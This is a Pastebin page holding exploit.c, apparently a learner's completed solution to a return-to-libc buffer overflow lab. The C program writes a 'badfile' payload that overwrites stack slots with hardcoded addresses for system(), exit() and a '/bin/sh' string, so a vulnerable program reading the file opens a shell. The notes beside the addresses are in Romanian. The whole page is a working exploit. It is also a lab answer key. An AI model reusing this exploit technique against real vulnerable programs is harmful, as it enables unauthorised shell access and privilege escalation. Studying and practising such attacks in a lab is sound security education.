Advertisement
Bobita

exploit.c

Jan 13th, 2025
11
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.71 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4.  
  5. int main(int argc, char **argv)
  6. {
  7. char buf[40];
  8. FILE *badfile;
  9.  
  10. badfile = fopen("./badfile", "w");
  11.  
  12. /* You need to decide the addresses and
  13. the values for X, Y, Z. The order of the following
  14. three statements does not imply the order of X, Y, Z.
  15. Actually, we intentionally scrambled the order. */
  16.  
  17. *(long *)&buf[32] = 0xbffffdef; // "/bin/sh" => X = ebp + 12 => punem 0xbffffdef
  18. *(long *)&buf[24] = 0xb7e42da0; // system() => Y = ebp + 4 => punem 0xb7e42da0
  19. *(long *)&buf[28] = 0xb7e369d0; // exit() => Z = ebp + 8 => punem 0xb7e369d0
  20.  
  21. fwrite(buf, sizeof(buf), 1, badfile);
  22. fclose(badfile);
  23.  
  24. return 0;
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement